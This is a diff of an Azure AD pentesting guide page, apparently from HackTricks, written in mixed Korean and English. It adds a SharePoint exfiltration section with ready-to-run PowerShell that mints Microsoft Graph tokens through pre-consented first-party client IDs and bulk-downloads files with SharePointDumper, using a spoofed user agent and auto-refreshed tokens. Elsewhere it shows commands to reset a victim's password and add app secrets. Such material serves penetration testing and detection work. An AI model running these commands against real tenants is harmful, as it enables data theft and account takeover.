diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index e6b735785..20abcbec8 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,9 +4,9 @@ ## 기본 정보 -Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 아이덴티티 및 액세스 관리 서비스입니다. 이는 직원들이 조직 내외부의 리소스에 로그인하고 접근할 수 있도록 하는 데 중요한 역할을 하며, Microsoft 365, Azure 포털 및 다양한 다른 SaaS 애플리케이션을 포함합니다. Azure AD의 설계는 **인증, 권한 부여 및 사용자 관리**를 포함한 필수 아이덴티티 서비스를 제공하는 데 중점을 두고 있습니다. +Azure Active Directory (Azure AD)는 identity 및 access 관리를 위한 Microsoft의 클라우드 기반 서비스입니다. 직원들이 Microsoft 365, Azure portal 및 다양한 다른 SaaS 애플리케이션을 포함해 조직 내부와 외부의 리소스에 로그인하고 접근할 수 있도록 지원합니다. Azure AD의 설계는 주로 **인증, 권한 부여, 사용자 관리**와 같은 필수적인 아이덴티티 서비스를 제공하는 데 초점을 맞춥니다. -Azure AD의 주요 기능에는 **다단계 인증** 및 **조건부 액세스**가 포함되며, 다른 Microsoft 보안 서비스와의 원활한 통합이 특징입니다. 이러한 기능은 사용자 아이덴티티의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있도록 합니다. Microsoft의 클라우드 서비스 생태계의 기본 구성 요소로서, Azure AD는 사용자 아이덴티티의 클라우드 기반 관리를 위해 필수적입니다. +Azure AD의 주요 기능으로는 **다단계 인증** 및 **조건부 액세스**와 다른 Microsoft 보안 서비스와의 원활한 통합이 포함됩니다. 이러한 기능들은 사용자 아이덴티티의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있게 합니다. Microsoft의 클라우드 서비스 생태계의 기본 구성 요소로서, Azure AD는 사용자 아이덴티티의 클라우드 기반 관리에 있어 중요한 역할을 합니다. ## 열거 @@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds # Connect with access token Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken] +# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token) # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force @@ -184,11 +185,13 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Azure에 **CLI**를 통해 로그인할 때, **Microsoft**에 속한 **tenant**의 **Azure Application**을 사용하고 있습니다. 이러한 애플리케이션은 귀하의 계정에서 생성할 수 있는 것처럼 **클라이언트 ID**를 가지고 있습니다. **콘솔에서 볼 수 있는 허용된 애플리케이션 목록**에서 모든 애플리케이션을 **볼 수는 없지만**, 기본적으로 허용됩니다. +어떤 프로그램으로든 **CLI**를 통해 **Azure**에 **login**하면, **Microsoft** 소속의 **tenant**에서 온 **Azure Application**을 사용하게 됩니다. -예를 들어, **인증**을 수행하는 **powershell 스크립트**는 클라이언트 ID **`1950a258-227b-4e31-a9cf-717495945fc2`**를 가진 앱을 사용합니다. 애플리케이션이 콘솔에 나타나지 않더라도, 시스템 관리자는 사용자가 해당 앱을 통해 연결할 수 없도록 **해당 애플리케이션을 차단**할 수 있습니다. +계정에서 생성할 수 있는 것들과 마찬가지로 이러한 Applications는 **have a client id**. 콘솔에서 볼 수 있는 **allowed applications lists**에서는 이들 모두를 **won't be able to see all of them** 수 있지만, **but they are allowed by default**. -그러나 **Azure에 연결할 수 있는 다른 클라이언트 ID**의 애플리케이션이 있습니다: +예를 들어 **authenticates**하는 **powershell script**는 클라이언트 id가 **`1950a258-227b-4e31-a9cf-717495945fc2`**인 app을 사용합니다. 해당 app이 콘솔에 표시되지 않더라도, sysadmin은 **block that application**하여 사용자가 해당 App을 통해 연결하는 도구로 접근하는 것을 막을 수 있습니다. + +하지만 **other client-ids**를 가진 애플리케이션들 중 **will allow you to connect to Azure** 하는 것들이 있습니다: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -226,7 +229,7 @@ az account tenant list ### 사용자 -Entra ID 사용자에 대한 자세한 정보는 다음을 확인하세요: +Entra ID 사용자에 대한 자세한 내용은 다음을 참조하세요: {{#ref}} ../az-basic-information/ @@ -363,15 +366,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA & Conditional Access Policies +### MFA 및 Conditional Access Policies -모든 사용자에게 MFA를 추가하는 것이 강력히 권장되지만, 일부 회사는 이를 설정하지 않거나 특정 위치, 브라우저 또는 **일부 조건**에서 로그인할 경우에만 MFA를 요구하는 Conditional Access를 설정할 수 있습니다. 이러한 정책이 올바르게 구성되지 않으면 **bypasses**에 취약할 수 있습니다. 확인하세요: +모든 사용자에게 MFA를 추가하는 것이 강력히 권장됩니다. 하지만 일부 회사는 이를 설정하지 않거나 Conditional Access로 설정할 수 있습니다: 사용자가 특정 위치, 브라우저 또는 **어떤 조건**에서 로그인하면 **MFA가 요구됩니다**. 이러한 정책은 올바르게 구성되지 않으면 **우회**될 수 있습니다. 확인: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Groups +### 그룹 Entra ID 그룹에 대한 자세한 정보는 다음을 확인하세요: @@ -482,21 +485,21 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * #### 그룹에 사용자 추가 -그룹의 소유자는 그룹에 새로운 사용자를 추가할 수 있습니다. +그룹의 소유자는 새 사용자를 그룹에 추가할 수 있습니다 ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 충족하면 그룹에 추가된다는 의미**입니다. 물론, 조건이 **사용자가 제어할 수 있는 속성**에 기반할 경우, 그는 이 기능을 악용하여 **다른 그룹에 들어갈 수 있습니다**.\ +> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 충족하면 그룹에 추가된다는 의미입니다**. 물론 그 조건들이 **사용자가 제어할 수 있는 속성**에 기반한다면, 사용자는 이 기능을 악용해 **다른 그룹에 들어갈 수 있습니다**.\ > 동적 그룹을 악용하는 방법은 다음 페이지를 확인하세요: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -### 서비스 주체 +### Service Principals -Entra ID 서비스 주체에 대한 자세한 정보는 다음을 확인하세요: +For more information about Entra ID service principals check: {{#ref}} ../az-basic-information/ @@ -597,11 +600,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> 서비스 주체의 소유자는 비밀번호를 변경할 수 있습니다. +> Service Principal의 Owner는 해당 비밀번호를 변경할 수 있습니다.
-각 엔터프라이즈 앱에 클라이언트 비밀을 나열하고 추가해 보세요 +각 Enterprise App에서 client secret을 나열하고 추가를 시도하세요 ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -708,7 +711,7 @@ Write-Output "Failed to Enumerate the Applications." ### 애플리케이션 -애플리케이션에 대한 자세한 정보는 다음을 확인하세요: +애플리케이션에 대한 자세한 내용은 다음을 확인하세요: {{#ref}} ../az-basic-information/ @@ -716,8 +719,8 @@ Write-Output "Failed to Enumerate the Applications." 앱이 생성될 때 2가지 유형의 권한이 부여됩니다: -- **서비스 주체**에 부여된 **권한** -- **사용자**를 대신하여 **앱**이 가질 수 있는 **권한**. +- **권한**이 **Service Principal**에 부여됩니다 +- **권한**을 **앱**이 **사용자를 대신하여** 가질 수 있고 사용할 수 있습니다. {{#tabs }} {{#tab name="az cli" }} @@ -742,6 +745,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92 # Get Cloud Applications Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` {{#endtab }} @@ -792,21 +822,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> **`AppRoleAssignment.ReadWrite`** 권한을 가진 앱은 **Global Admin**으로 **승격**할 수 있습니다.\ -> 더 많은 정보는 [**여기 확인하세요**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> 권한 **`AppRoleAssignment.ReadWrite`**를 가진 앱은 역할을 자체적으로 부여하여 **Global Admin**으로 권한 상승할 수 있습니다.\ +> 자세한 내용은 [**여기**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)를 참조하세요. > [!NOTE] -> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하는 데 사용하는 비밀 문자열은 애플리케이션 비밀번호입니다.\ -> 따라서 이 **비밀번호**를 찾으면 **서비스 주체**로 **테넌트** **내부**에 접근할 수 있습니다.\ -> 이 비밀번호는 생성될 때만 볼 수 있습니다(변경할 수는 있지만 다시 얻을 수는 없습니다).\ -> **애플리케이션**의 **소유자**는 이를 **가짜로** 사용할 수 있도록 **비밀번호**를 추가할 수 있습니다.\ -> 이러한 서비스 주체로의 로그인은 **위험한 것으로 표시되지 않으며** **MFA가 없습니다.** +> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하기 위해 사용하는 비밀 문자열이 바로 application password입니다.\ +> 따라서 이 **password**를 찾으면 해당 **tenant** **내부에서** **service principal**로 접근할 수 있습니다.\ +> 이 password는 생성될 때만 표시된다는 점을 유의하세요(변경은 가능하지만 다시 확인할 수 없습니다).\ +> 해당 **application**의 **owner**는 여기에 **add a password**를 할 수 있습니다(즉, 이를 가장할 수 있습니다).\ +> 이러한 service principal로의 로그인은 **not marked as risky**로 표시되지 않으며 **won't have MFA.** -Microsoft에 속하는 일반적으로 사용되는 App ID 목록을 찾는 것은 가능합니다 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +Microsoft에 속한 일반적으로 사용되는 App ID 목록은 다음에서 확인할 수 있습니다: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) -### 관리되는 ID +### Managed Identities -관리되는 ID에 대한 더 많은 정보는 다음을 확인하세요: +Managed Identities에 관한 더 자세한 정보는 다음을 확인하세요: {{#ref}} ../az-basic-information/ @@ -1032,12 +1062,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> 만약 장치(VM)가 **AzureAD에 가입되어** 있다면, AzureAD의 사용자들이 **로그인할 수** 있습니다.\ -> 게다가, 로그인한 사용자가 장치의 **소유자**라면, 그는 **로컬 관리자**가 됩니다. +> 장치(VM)가 **AzureAD joined** 되어 있으면, AzureAD의 사용자는 **로그인할 수 있습니다**.\ +> 또한, 로그인한 사용자가 해당 장치의 **Owner** 라면, 그는 **local admin** 권한을 갖게 됩니다. ### 관리 단위 -관리 단위에 대한 더 많은 정보는 다음을 확인하세요: +관리 단위에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} ../az-basic-information/ @@ -1072,43 +1102,90 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Entra ID 권한 상승 +## Microsoft Graph 위임된 SharePoint 데이터 유출 (SharePointDumper) + +Sites.Read.All 또는 Sites.ReadWrite.All을 포함하는 **위임된 Microsoft Graph 토큰**을 가진 공격자는 Graph를 통해 **sites/drives/items**를 열거한 다음 **SharePoint pre-authentication download URLs**(액세스 토큰을 포함하는 시간 제한 URL)을 통해 파일 내용을 가져올 수 있습니다. [SharePointDumper](https://github.com/zh54321/SharePointDumper) 스크립트는 전체 흐름(열거 → pre-auth 다운로드)을 자동화하고, 탐지 테스트용으로 요청별 텔레메트리를 출력합니다. + +### 사용 가능한 위임된 토큰 획득 + +- SharePointDumper 자체는 **인증을 수행하지 않습니다**; access token(선택적으로 refresh token)을 제공하세요. +- 사전 동의된 **first-party clients**는 앱 등록 없이 Graph 토큰을 발급(mint)하는 데 악용될 수 있습니다. 예시 `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) 호출: +```powershell +# CAE requested by default; yields long-lived (~24h) access token +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE) + +# Other pre-consented clients +Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE) +Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE) +Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE) +Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) +``` +> [!NOTE] +> FOCI TRUE 클라이언트는 디바이스 간에 refresh를 지원합니다; FOCI FALSE 클라이언트는 종종 reply URL origin validation을 만족시키기 위해 `-Origin`이 필요합니다. + +### SharePointDumper 실행 (enumeration + exfiltration) + +- 기본 dump with custom UA / proxy / throttling: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' +``` +- 범위 제어: 사이트 또는 확장 포함/제외 및 전역 제한: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 +``` +- **재개** 중단된 실행을 재개합니다 (다시 열거하지만 다운로드된 항목은 건너뜁니다): +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant +``` +- **HTTP 401에서 token 자동 갱신** (EntraTokenAid가 로드되어 있어야 함): +```powershell +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' +``` +Operational notes: + +- Prefers **CAE-enabled** tokens to avoid mid-run expiry; refresh attempts are **not** logged in the tool’s API log. +- Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable). +- Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests. + +## Entra ID Privilege Escalation {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Azure 권한 상승 +## Azure Privilege Escalation {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## 방어 메커니즘 +## Defensive Mechanisms -### 권한 있는 ID 관리 (PIM) +### Privileged Identity Management (PIM) -Azure의 권한 있는 ID 관리(PIM)는 **불필요하게 사용자에게 과도한 권한이 부여되는 것을 방지**하는 데 도움을 줍니다. +Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. -PIM이 제공하는 주요 기능 중 하나는 항상 활성화된 주체에게 역할을 할당하지 않고, **일정 기간(예: 6개월)** 동안 자격을 부여할 수 있다는 것입니다. 그런 다음 사용자가 해당 역할을 활성화하고 싶을 때, 필요한 권한의 시간을 명시하여 요청해야 합니다(예: 3시간). 그런 다음 **관리자가** 요청을 승인해야 합니다.\ -사용자는 또한 시간을 **연장** 요청할 수 있습니다. +One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\ +Note that the user will also be able to ask to **extend** the time. -또한, **PIM은** 권한 있는 역할이 누군가에게 할당될 때마다 이메일을 보냅니다. +Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
-PIM이 활성화되면 각 역할에 대해 다음과 같은 특정 요구 사항을 구성할 수 있습니다: +When PIM is enabled it's possible to configure each role with certain requirements like: -- 활성화 최대 기간(시간) -- 활성화 시 MFA 요구 -- 조건부 액세스 인증 컨텍스트 요구 -- 활성화 시 정당화 요구 -- 활성화 시 티켓 정보 요구 -- 활성화 승인 요구 -- 자격 부여의 만료 최대 시간 -- 특정 작업이 해당 역할과 관련하여 발생할 때 알림을 보낼 사람과 시기를 구성하는 많은 추가 설정 +- Maximum duration (hours) of activation +- Require MFA on activation +- Require Conditional Access acuthenticaiton context +- Require justification on activation +- Require ticket information on activation +- Require approval to activate +- Max time to expire the elegible assignments +- A lot more configuration on when and who to send notifications when certain actions happen with that role -### 조건부 액세스 정책 +### Conditional Access Policies 확인: @@ -1116,30 +1193,32 @@ PIM이 활성화되면 각 역할에 대해 다음과 같은 특정 요구 사 ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Entra ID 보호 +### Entra Identity Protection -Entra ID 보호는 **사용자 또는 로그인 시도가 너무 위험할 때 이를 감지**하여 사용자를 **차단**하거나 로그인 시도를 차단할 수 있는 보안 서비스입니다. +Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. -관리자가 "낮음 이상", "중간 이상" 또는 "높음"일 때 시도를 **차단**하도록 구성할 수 있습니다. 그러나 기본적으로 완전히 **비활성화**되어 있습니다: +It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
> [!TIP] -> 현재 이러한 제한을 조건부 액세스 정책을 통해 추가하는 것이 권장되며, 동일한 옵션을 구성할 수 있습니다. +> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. -### Entra 비밀번호 보호 +### Entra Password Protection -Entra 비밀번호 보호 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade))는 **여러 번의 로그인 시도가 실패할 때 계정을 잠금으로써 약한 비밀번호의 남용을 방지**하는 보안 기능입니다.\ -또한 제공해야 하는 **사용자 정의 비밀번호 목록을 금지**할 수 있습니다. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ +It also allows to **ban a custom password list** that you need to provide. -이는 **클라우드 수준과 온프레미스 Active Directory 모두에 적용**될 수 있습니다. +It can be **applied both** at the cloud level and on-premises Active Directory. -기본 모드는 **감사**입니다: +The default mode is **Audit**:
-## 참고 문헌 +## References - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) +- [SharePointDumper](https://github.com/zh54321/SharePointDumper) +- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid) {{#include ../../../banners/hacktricks-training.md}}